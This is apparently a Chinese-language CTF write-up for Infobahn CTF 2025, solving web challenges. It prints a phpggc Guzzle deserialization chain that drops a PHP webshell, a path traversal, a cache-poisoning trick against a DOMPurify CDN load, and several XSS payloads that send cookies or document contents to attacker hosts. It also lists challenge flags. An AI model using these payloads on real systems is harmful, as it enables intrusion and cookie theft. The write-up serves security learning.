Infobahn CTF 2025
Sandbox Viewer
未解出,赛后复现
给了个iframe,任意写srcdoc然后删除
let iframe = document.getElementById('safe');
iframe.srcdoc = key;
iframe.onload = () => {
iframe.remove();
}
而且dompurify是延迟一秒加载
而且如果加载失败会直接写入unsafe内容
const s = document.createElement('script');
s.src = '<https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.2.4/purify.min.js>';
s.referrerPolicy = 'no-referrer';
setTimeout(() => {
s.onload = () => {
if (window.DOMPurify) {
const clean = window.DOMPurify.sanitize(key);
appendUnsafe(clean);
}
};
s.onerror = () => {
appendUnsafe(key);
};
document.head.appendChild(s);
}, 1000);
需要通过iframe让dompurify无法加载,进入onerror分支
<iframe id="safe" sandbox="allow-same-origin" srcdoc="<h1>Hello</h1>"></iframe>
iframe有sandbox属性allow-same-origin
预期解法使用了浏览器的缓存措施和CDN的安全策略
dompurify 是从 Cloudflare CDN 加载的(使用 Cloudflare WAF),如果 WAF 看到危险的 referrer 头信息,它将返回 403
如果在加载dompurify之前,通过添加危险referrer 头引入dompurify,Cloudflare CDN会返回403并被浏览器缓存。下一次加载的时候便会读取缓存
<img src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.2.4/purify.min.js" referrerpolicy="unsafe-url" onerror="location='https://yourserver/?'+document.cookie">为啥写不出来呢,因为我浏览器控制台打开的时候,默认选择了禁用缓存
因此测试的时候没成功
Padoru Pwn Parade
一个非预期罢了
phpgcc有条链子能用:Guzzle/FW1 4.0.0-rc.2 <= 7.5.0+
#./phpggc Guzzle/FW1 shell.php shell.php -b
<?php system($_GET[0]); ?>
TzozMToiR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphciI6NDp7czozNjoiAEd1enpsZUh0dHBcQ29va2llXENvb2tpZUphcgBjb29raWVzIjthOjE6e2k6MDtPOjI3OiJHdXp6bGVIdHRwXENvb2tpZVxTZXRDb29raWUiOjE6e3M6MzM6IgBHdXp6bGVIdHRwXENvb2tpZVxTZXRDb29raWUAZGF0YSI7YTozOntzOjc6IkV4cGlyZXMiO2k6MTtzOjc6IkRpc2NhcmQiO2I6MDtzOjU6IlZhbHVlIjtzOjI2OiI8P3BocCBzeXN0ZW0oJF9HRVRbMF0pOyA/PiI7fX19czozOToiAEd1enpsZUh0dHBcQ29va2llXENvb2tpZUphcgBzdHJpY3RNb2RlIjtOO3M6NDE6IgBHdXp6bGVIdHRwXENvb2tpZVxGaWxlQ29va2llSmFyAGZpbGVuYW1lIjtzOjk6InNoZWxsLnBocCI7czo1MjoiAEd1enpsZUh0dHBcQ29va2llXEZpbGVDb29raWVKYXIAc3RvcmVTZXNzaW9uQ29va2llcyI7YjoxO30=
/shell.php?0=/readflag
infobahnctf{217ab6434380c893a54450e0d72f2231}据说预期解是0day?!
PatchNotes CMS
又一个非预期
'use server';
import { NextResponse } from 'next/server';
import fs from 'fs/promises';
import path from 'path';
const ALLOWED = ['.json', '.txt'];
const BASE_DIR = '/tmp/data';
export async function GET(req: Request) {
try {
const url = new URL(req.url);
const file = url.searchParams.get('file') || '';
if (!file) {
return NextResponse.json({ error: 'file param required' }, { status: 400 });
}
const okExt = ALLOWED.some(ext => file.endsWith(ext));
if (!okExt) {
return NextResponse.json({ error: 'extension not allowed' }, { status: 400 });
}
if (!BASE_DIR) {
return NextResponse.json({ error: 'data directory not found' }, { status: 500 });
}
const fullPath = path.join(BASE_DIR, file);
let raw: Buffer | null = null;
try {
raw = await fs.readFile(fullPath);
} catch (e: any) {
return NextResponse.json({ error: 'file not found' }, { status: 404 });
}
const text = raw.toString('utf8');
if (file.endsWith('.json')) {
try {
const json = JSON.parse(text);
return NextResponse.json({ filename: file, content: text, json });
} catch {
return NextResponse.json({ filename: file, content: text });
}
}
return NextResponse.json({ filename: file, content: text });
} catch (e: any) {
return NextResponse.json({ error: 'internal' }, { status: 500 });
}
}
这里只检查了后缀,但是存在路径穿越,直接读取flag即可../../../flag.txt
bitset系列
非预期
https://bitset-web.challs.infobahnc.tf/run.sh
直接可以看到三个flag
#!/bin/bash
cd /app || exit
export FLAG1='infobahn{1eT5_seE_whO_rE4Ds_th3_Php_docs}'
export FLAG2='infobahn{d1d_YOU_fINd_oUt_THI5_P4y10@D_From_por75wiG6Er}'
export FLAG3='infobahn{C0NgR@tS_you_aR3_A_SEnior_1n73Rn_IN_BEGInNeR}'
bun /app/server.jsbitset-revenge
https://bitset-revenge-web.challs3.infobahnc.tf/bot?url=http://x' onerror="locationhttp://attacker?c=${document.cookie}"
单引号闭合后使用onerror插入js语句,不能用右括号,故location带出
bitsets-revenge
http://'onerror="setTimeout`d=document,s='';for(k in d\\x29s+=k+d[k];location='<http://IP>:PORT/?'+s`"
用setTimeout包裹js模板,其中\x29会被还原成)
注意最终长度小于111即可
bitsetsy-revenge
le0n佬的思路
由于flag3限制55字符,根据flag2的解法根本不可能压缩到这么短
但是看flag插入方式的实现,可以看到
if (flag23) {
await p.evaluateOnNewDocument(flag => {
if (location.hostname == "127.0.0.1") {
document["flag" + Math.random().toString(36).slice(2)] = flag;
}
}, flag23);
}
await p.goto(bot, { waitUntil: "domcontentloaded", timeout: 8000 });
await new Promise(r => setTimeout(r, 3000));
await b.close();
return new Response("Cool image (●'◡'●)");
可以看到有await,只要location.hostname满足条件就会插值,所以我们可以跳转到其他url然后污染window.name来存储恶意js,最后跳转回127.0.0.1,并且执行window.name里的代码
<html>
<script>
window.name="location='http://attacker.html/c?'+Object.values(document)";
location="http://127.0.0.1:6969/?url=http://'onerror='setTimeout`eval(name%5Cx29`";
</script>
</html>后续有时间继续复现其他题目,这比赛题目质量挺不错